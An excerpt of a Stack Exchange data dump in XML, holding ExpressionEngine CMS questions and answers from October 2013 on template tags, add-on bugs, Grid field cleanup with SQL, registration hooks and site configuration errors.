  <row Id="15076" PostTypeId="2" ParentId="10185" CreationDate="2013-10-28T23:15:56.360" Score="1" Body="&lt;p&gt;looks like this options is still not in Playa. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Solution:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*/themes/third_party/playa/scripts/droppanes.js*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var selectItems = function($items) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var selectItems = function($items) {&#xA;&#xA;    obj.limit = $items.parents(&quot;label:first&quot;).data('limit');&#xA;    obj.totalSelect = obj.selectionsSelect.$items.length + 1;&#xA;&#xA;    if (obj.totalSelect &amp;gt; obj.limit) {&#xA;        obj.optionsSelect.deselectAll(true);&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SafeCracker/Zoo Visitor template code (&lt;em&gt;data-limit&lt;/em&gt; is how many options can user choose)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       &amp;lt;label class=&quot;input&quot; data-limit=&quot;3&quot;&amp;gt;&#xA;                {field:playa_field}         &#xA;       &amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-10-28T23:15:56.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15077" PostTypeId="2" ParentId="15050" CreationDate="2013-10-28T23:27:04.297" Score="3" Body="&lt;p&gt;Just made simple ext which will check users email at the end of registration and if user email domain is in white list - send them validation email. After validation put them into the group which has full access. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_register/#member-member-register&quot; rel=&quot;nofollow&quot;&gt;hooks:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;member_member_register&lt;/p&gt;&#xA;&#xA;&lt;p&gt;member_register_validate_members&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-10-28T23:27:04.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15078" PostTypeId="2" ParentId="15050" CreationDate="2013-10-29T00:16:51.453" Score="1" Body="&lt;p&gt;I'd look at the simple approach and not sure of how your signup process is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say you have some checkbox [free acct] [other acct]&#xA;Via JS if they choose free, display a fixed input with an append like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type='text' placeholder=&quot;your email&quot;&amp;gt;&amp;lt;span class=&quot;add-on&quot;&amp;gt;@.nhs.uk&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Very much like the Twitter bootstrap preprend/append treatment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This illustrates to the user that the email needs to be an @nhs.uk email account. You could then inform them that an email will be sent to that address to verify them as valid and maybe a link to the site to signup for an @nhs.uk email account. &lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-10-29T00:16:51.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15079" PostTypeId="2" ParentId="15048" CreationDate="2013-10-29T01:57:49.983" Score="1" Body="&lt;p&gt;You didn't mention your EE version but sounds like it might be this bug:&lt;br&gt;&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19630&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19630&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of logging in with &quot;&lt;a href=&quot;http://www.url.net/admin.php&quot; rel=&quot;nofollow&quot;&gt;http://www.url.net/admin.php&lt;/a&gt;&quot;, try using &quot;&lt;a href=&quot;http://www.url.net/system&quot; rel=&quot;nofollow&quot;&gt;http://www.url.net/system&lt;/a&gt;&quot; instead... NOTE: &quot;system&quot; should be changed to whatever you renamed your system directory if you renamed it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;OR update to the most recent version of EE is you are using EE 2.6.1.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T01:57:49.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15080" PostTypeId="2" ParentId="15037" CreationDate="2013-10-29T02:07:38.187" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Blank pages in ExpressionEngine, where the source is also empty, are&#xA;  usually the result of a suppressed PHP error.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here are instructions for troubleshooting blank pages in EE:&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-10-29T02:59:22.243" LastActivityDate="2013-10-29T02:59:22.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15081" PostTypeId="2" ParentId="15056" CreationDate="2013-10-29T02:18:36.837" Score="1" Body="&lt;p&gt;I'd use stash fo sure!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is a guide and not a verbatim copy/paste solution. Theory is capture a list of the items you want to capture &amp;amp; display AND also capture the relevant date to use to display relevance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;recent_news&quot; parse_tags=&quot;yes&quot;}&#xA; {exp:channel_entries ...}&#xA;  {stash:entryid}{entry_id}{/stash:entryid} //Declare Entryid&#xA;  {stash:entry_title}{title}{/stash:entry_title} //Declare Title&#xA;  // Capture as much or as little as required. etc etc…&#xA;  {stash:alpha_date} //Capture relevant date for particular channel&#xA;    {exp:switchee variable=&quot;{channel_short_name}&quot; parse=&quot;inward&quot;}&#xA;      {case value=&quot;press_release&quot;}&#xA;        {entry_date}&#xA;       {/case}&#xA;       {case value=&quot;in_the_news&quot;}&#xA;         {pub_date}&#xA;       {/case}&#xA;    {/exp:switchee}&#xA;  {/stash:alpha_date}&#xA;{/exp:channel_entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then further down the template, spit it out by the captured &quot;alpha_date&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;recent_news&quot; orderby=&quot;alpha_date&quot; sort=&quot;desc&quot;}&#xA;  {title}/{entryid}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-10-29T02:18:36.837" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15082" PostTypeId="2" ParentId="15034" CreationDate="2013-10-29T02:23:51.417" Score="1" Body="&lt;p&gt;Make sure your Select is inside the checkout_form tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form}&#xA;    &amp;lt;select name=&quot;nieuw_bezorgadres&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;member_profiles&quot; category=&quot;8&quot;}&#xA;            &amp;lt;option value=&quot;{member_company} {member_address} {member_city} {member_country}&quot;&amp;gt;{member_company} {member_address} {member_city} {member_country}&amp;lt;/option&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/exp:cartthrob:checkout_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, try renaming the select field to &lt;code&gt;name=&quot;custom_data[nieuw_bezorgadres]&quot;&lt;/code&gt;. I used that for custom order data on a much earlier CartThrob site... not sure if it will work with your version. To print out the variable in the template or the email use &lt;code&gt;{custom_data:nieuw_bezorgadres}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T02:23:51.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15083" PostTypeId="2" ParentId="15069" CreationDate="2013-10-29T02:37:50.050" Score="0" Body="&lt;p&gt;Try clearing the &quot;Cached Relationship Entries&quot; before you delete a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this from the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/clear_cached_data_files.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Clear Cache&lt;/strong&gt;&lt;/a&gt; page in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relationship cache template in the database can become very large and is possibly the cause of the 500 error.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T02:37:50.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15084" PostTypeId="2" ParentId="14664" CreationDate="2013-10-29T02:45:31.417" Score="2" Body="&lt;p&gt;Sounds like this is fixed by updating to Expresso Store version 2.0.3&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T02:45:31.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15085" PostTypeId="2" ParentId="14208" CreationDate="2013-10-29T02:54:13.050" Score="1" Body="&lt;p&gt;The question poster added a comment with the resolution... I'm posting it here as an answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;Seemed to be an issue with our custom shipping module. Resolved&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T02:54:13.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15086" PostTypeId="2" ParentId="14307" CreationDate="2013-10-29T02:56:10.027" Score="2" Body="&lt;p&gt;I can't offer a specific fix, but I would make sure you have the most recent version of EE, CartThrob and Profile:Edit installed to eliminate bugs in the code. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T02:56:10.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15087" PostTypeId="2" ParentId="11435" CreationDate="2013-10-29T03:03:19.667" Score="2" Body="&lt;p&gt;I'm moving the question poster's comment here as an answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;... I can access the accessories page now. I believe it was a problem attached to the Devot:ee monitor add-on. I removed the cache for it and reinstalled it and was able to access the page again.&quot;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T03:03:19.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15088" PostTypeId="2" ParentId="15057" CreationDate="2013-10-29T07:35:49.853" Score="3" Body="&lt;p&gt;After updating back to 2.2.1, running the following query will fix this:&#xA;UPDATE exp_assets_selections SET content_type = 'matrix' WHERE row_id &gt; 0 AND (content_type = '' OR content_type IS NULL)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're about to release Assets 2.2.2 that addresses this, but, while it's still not out, the query above should take care of your problem permanently. This only affects Matrix rows created before updating to Assets 2.2.1.&lt;/p&gt;&#xA;" OwnerUserId="722" LastEditorUserId="722" LastEditDate="2013-10-29T14:32:14.313" LastActivityDate="2013-10-29T14:32:14.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15089" PostTypeId="2" ParentId="5161" CreationDate="2013-10-29T08:09:37.503" Score="1" Body="&lt;p&gt;There are two issues here. The first is that in Store 1, taxes were calculated based on the billing address rather than the shipping address. This has been fixed in Store 2, and taxes are now calculated based on the shipping address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, there is the problem that some states in the US have extremely complicated tax laws, where the correct tax rate must be determined based on the specific address (and even ZIP codes are not always granular enough to determine the correct tax rate). The only real solution to this is to use one of the API services available which will return up to date tax rates for each address. Store doesn't currently integrate with any of these services, but it would certainly be possible to build using the extension hooks.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-29T08:09:37.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15090" PostTypeId="1" AcceptedAnswerId="17699" CreationDate="2013-10-29T08:19:00.883" Score="1" ViewCount="142" Body="&lt;p&gt;&lt;strong&gt;Data&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 pages with {exp:channel:form} each using the same channel &lt;code&gt;foo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel &lt;code&gt;foo&lt;/code&gt; has 4 fields with Grid fieldtypes, &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt; &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;d&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page &lt;code&gt;1&lt;/code&gt; shows a form to edit &lt;code&gt;a&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page &lt;code&gt;2&lt;/code&gt; shows a form to edit &lt;code&gt;b&lt;/code&gt;,&lt;code&gt;c&lt;/code&gt; and &lt;code&gt;d&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is the problem that I have.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to submit Page &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;a&lt;/code&gt; data is saved but &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;d&lt;/code&gt; data is erased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to submit Page &lt;code&gt;2&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, and &lt;code&gt;d&lt;/code&gt; data is saved but &lt;code&gt;a&lt;/code&gt; data is erased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that this is a problem with grid fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you save any channel that has a grid field using {exp:channel:form}, if that grid field is not included in the form, it will be reset/erased.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="197" LastEditDate="2013-10-29T18:43:22.400" LastActivityDate="2013-12-14T03:25:43.460" Title="Channels with Grids not retaining data" Tags="|channel-form|grid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15091" PostTypeId="1" AcceptedAnswerId="15092" CreationDate="2013-10-29T08:53:01.013" Score="2" ViewCount="186" Body="&lt;p&gt;I use the &quot;field editor&quot; plugin a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to work with the new grid fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it now just messes up channel fields with grid.&#xA;I now can't delete the messed up field group.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1091&#xA;Can't DROP 'field_id_21'; check that column/key exists&#xA;ALTER TABLE `exp_channel_data` DROP `field_id_21`&#xA;Filename: libraries/api/Api_channel_fields.php&#xA;Line Number: 495&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I delete the fieldgroup anyway?&lt;/p&gt;&#xA;" OwnerUserId="184" LastEditorUserId="197" LastEditDate="2013-10-29T17:06:00.100" LastActivityDate="2013-10-29T17:06:00.100" Title="Field editor breaks grid" Tags="|add-on|grid|database-error|field-editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15092" PostTypeId="2" ParentId="15091" CreationDate="2013-10-29T09:17:39.573" Score="3" Body="&lt;p&gt;I think it will be enough to delete field record in exp_channel_fields table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to EE CP SQL manager (CP Home &gt; Tools &gt; Data &gt; SQL Manager &gt; Database Query Form) or phpMyAdmin or any other mysql manager:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM exp_channel_fields where field_id = 21;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to be sure that any pieces of your grid field was removed, execute query bellow line-by-line. Not all of them give you successful message, because not all records exist.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE exp_channel_data DROP field_ft_21;&#xA;ALTER TABLE exp_channel_data DROP field_id_21;&#xA;DELETE FROM exp_channel_fields where field_id = 21;&#xA;DELETE FROM exp_grid_columns where field_id = 21;&#xA;DROP TABLE exp_channel_grid_field_21;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-10-29T09:17:39.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15093" PostTypeId="1" CreationDate="2013-10-29T10:51:47.153" Score="1" ViewCount="101" Body="&lt;p&gt;I have an ee site, and in google webmaster tools it's generating some really random urls - and causing a big problem with duplicate title tags - but I can't figure out where they are coming from - an example url is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.oceanindependence.com/yacht-sales/yachts-for-sale/caprice/P12&quot; rel=&quot;nofollow&quot;&gt;http://www.oceanindependence.com/yacht-sales/yachts-for-sale/caprice/P12&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but then google seems to keep finding more links the same but with different pagination on the end, ie /P108 /P216 etc... I have added in a 301 redirect to get the page to point correctly, but this doesn't fix where the link is coming from in the first place&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird part is, that the 3rd segment should be the pagination eg ( &lt;a href=&quot;http://www.oceanindependence.com/yacht-sales/yachts-for-sale/P12&quot; rel=&quot;nofollow&quot;&gt;http://www.oceanindependence.com/yacht-sales/yachts-for-sale/P12&lt;/a&gt; ) but somehow an extra segment is being added in before this and google is finding it from somewhere&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template for yachts-for-sale, the only link code is:  - which for me all seems to work correctly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am hoping someone may have encountered something like this before and maybe have a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using ee 2.7.0 and structure (but I don't think this is structure related)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers Jonny&lt;/p&gt;&#xA;" OwnerUserId="1102" LastActivityDate="2013-10-29T16:49:37.477" Title="Incorrect URL's being generated" Tags="|error|url|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15094" PostTypeId="2" ParentId="15093" CreationDate="2013-10-29T11:46:23.960" Score="3" Body="&lt;p&gt;I just check your site using &lt;a href=&quot;http://peacockmedia.co.uk/integrity/&quot; rel=&quot;nofollow&quot;&gt;Integrity&lt;/a&gt; and it looks like you don't have this urls any more. Possible you had something in your old templates (I can see that Google cache had another design for pages like /caprice/P12). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe soon all old links will be removed by Google because of Status : 301. Just need to wait.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw also that you start using  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;canonical&quot; href=&quot;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will protect your urls from duplication.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-10-29T16:49:37.477" LastActivityDate="2013-10-29T16:49:37.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15097" PostTypeId="1" AcceptedAnswerId="15104" CreationDate="2013-10-29T13:21:49.090" Score="1" ViewCount="326" Body="&lt;p&gt;I've tried setting up an image gallery using CE Img and the new Grid fieldtype but it's giving white screens.&#xA;The code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image_gallery}&#xA;    &amp;lt;li class=&quot;item&quot;&amp;gt;&#xA;        {exp:ce_img:pair src=&quot;{image_gallery:image_file}&quot; width=&quot;300&quot;}&#xA;        &amp;lt;a href=&quot;{image_gallery:image_file}&quot; class=&quot;img-fb&quot; rel=&quot;gallery&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{made}&quot;&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        {/exp:ce_img:pair}&#xA;    &amp;lt;/li&amp;gt;&#xA;{/image_gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've found that the same code works fine in the standard content entries, but not in the blog channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried stripping out all the other template code apart from the above code inside a minimal channel entries tag pair, but it still gives white pages with no HTML in it.&#xA;I've tried on local and development servers.&#xA;I've tested the CE Img is working on other images and it is fine.&#xA;I've tried switching to Matrix instead of Grid, but still breaks (altho also breaks in content channel too now)&#xA;I've also tried the {exp:ce_img:single} tag and it still breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does work:&#xA;I've tried the Grid code with  and it's fine. &#xA;I've tried the Grid code, with the exp:ce_img:single tag but &lt;strong&gt;without&lt;/strong&gt; specifying the width or height and it &lt;strong&gt;does&lt;/strong&gt; work. As soon as I specify a width/height in the ce_img tag it breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above code snippet, without the width=&quot;300&quot; works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what could be causing the page to break, simply by specifying the width or height of the image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Running EE 2.7.2 build 20131008  and CE Img 2.4.4)&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="69" LastEditDate="2013-10-29T15:02:29.027" LastActivityDate="2013-10-29T15:52:31.997" Title="CE Img breaking pages in Grid/Matrix when size parameters specified" Tags="|matrix|ce-image|grid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15098" PostTypeId="2" ParentId="15064" CreationDate="2013-10-29T15:00:05.753" Score="2" Body="&lt;p&gt;Using embeds to ensure they are parsed after advanced conditional eventually worked for me.&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2013-10-29T15:00:05.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15099" PostTypeId="1" CreationDate="2013-10-29T15:08:52.877" Score="0" ViewCount="132" Body="&lt;p&gt;I would like to export/link member data to an Email/SMS app. When a member registers I would like it to automatically add the new member details to the app and also be able to update details through the API from the EE site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an API guide from them which has all the Restful API &amp;amp; XML requests but need an idea of were I should go from here: &lt;a href=&quot;http://live.everlytic.net/api/2.0/docs/classes/Contacts.html#CreateContact&quot; rel=&quot;nofollow&quot;&gt;http://live.everlytic.net/api/2.0/docs/classes/Contacts.html#CreateContact&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea where I should start? Useful tutorials or extensions to use.&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2013-10-29T15:56:09.157" Title="Linking EE Members with a Bulk Email/SMS Application" Tags="|php|export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15100" PostTypeId="2" ParentId="13631" CreationDate="2013-10-29T15:33:00.413" Score="2" Body="&lt;p&gt;I've noticed Matrix MultiUpload is very fussy about paths and domains: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a site (with identical build versions as yours) that is set up to be accessed via &quot;www.&quot; and without prefix, or via an alternate domain alias, the control panel worked fine using either address, too – except for Matrix MultiUpload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you might want to make sure that your site url configuration is identical to the hostname you entered in order to access the control panel.&lt;/p&gt;&#xA;" OwnerUserId="399" LastActivityDate="2013-10-29T15:33:00.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15101" PostTypeId="2" ParentId="15097" CreationDate="2013-10-29T15:41:19.983" Score="0" Body="&lt;p&gt;I don't think this has anything to do with the Grid fieldtype, but rather the allotted amount of memory that PHP has on your server(s) in relation to the size (and/or complexity of the manipulations) of the images that are being processed. Please take a look at this other StackExchange answer: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/13129/936&quot;&gt;https://expressionengine.stackexchange.com/a/13129/936&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When not specifying a width or height, the original image will be used. In other words, PHP will not run out of memory when a width or height are not specified, because PHP will not be resizing the image.&lt;/p&gt;&#xA;" OwnerUserId="936" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-29T15:41:19.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15102" PostTypeId="2" ParentId="15099" CreationDate="2013-10-29T15:48:18.817" Score="1" Body="&lt;p&gt;I don't know if there are existing add-ons that support what you want to accomplish. You will most likely need to create a custom extension using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_register/#member-member-register&quot; rel=&quot;nofollow&quot;&gt;Member Module Registration Extension Hooks&lt;/a&gt; (for default ee&#xA;registration) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;member_member_register (if you don't use validation)   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;member_register_validate_members (if you use email validation)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and &lt;a href=&quot;http://www.senderguide.com/api-php-library-2012-09-19&quot; rel=&quot;nofollow&quot;&gt;api library&lt;/a&gt; - all what you need is in &lt;em&gt;howtouse.php&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For example (&lt;em&gt;I haven't tested this code&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once PATH_THIRD . 'you_ext/lib/subscription_api.php';&#xA;&#xA;function member_member_register ($data, $member_id)&#xA;{&#xA;    $url = 'http://live.everlytic.net/api/2.0';&#xA;    $apiKey = 'zyb8IwQVRf71siy1Pv8HO5szmv0jqppW';&#xA;&#xA;    $api = new MailerSubscriptionApiV1_0($url, $apiKey);&#xA;&#xA;    // Contact - create&#xA;    $contact = array();&#xA;    $contact['contact_mobile'] = '333333333';&#xA;    $contact['contact_email'] = $data['email'];&#xA;    $contact['contact_name'] = $data['screen_name'];&#xA;    $contact['contact_lastname'] = '';&#xA;    $listIds = array(1, 2);&#xA;    $result = $api-&amp;gt;createContact($contact, $listIds);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="28" LastEditDate="2013-10-29T15:56:09.157" LastActivityDate="2013-10-29T15:56:09.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15103" PostTypeId="1" AcceptedAnswerId="15136" CreationDate="2013-10-29T15:51:11.830" Score="0" ViewCount="255" Body="&lt;p&gt;I am using EE 2.1.3 within the MSM. I have a number of other sites already setup on this MSM and not having any problems. I tried to add a new site and got the &quot;Unable to load site preferences&quot; message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I verfied that config.php, database.php for the MSM are set to 777, cleared the cache for the site and still got the error. So, for this sites' index.php file I made $debug = 1; Now it is showing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: mysql_escape_string(): This function is deprecated; use mysql_real_escape_string() instead.&#xA;&#xA;Filename: mysql/mysql_driver.php&#xA;&#xA;Line Number: 303&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/techmark/webapps/_system_ee2msm/.system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: core/Common.php&#xA;&#xA;Line Number: 405&#xA;&#xA;A Database Error Occurred&#xA;Unable to connect to your database server using the provided settings.&#xA;&#xA;Filename: core/EE_Config.php&#xA;&#xA;Line Number: 176&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea how to fix this? Like I said earlier all of the other sites on this MSM are working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the site: &lt;a href=&quot;http://friendsunday.outreachcs.com/&quot; rel=&quot;nofollow&quot;&gt;http://friendsunday.outreachcs.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1150" LastEditorUserId="1150" LastEditDate="2013-10-29T16:22:15.083" LastActivityDate="2013-10-30T11:55:17.833" Title="Getting Pesky Unable to load site preferences error" Tags="|site-preferences|" AnswerCount="1" CommentCount="9" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
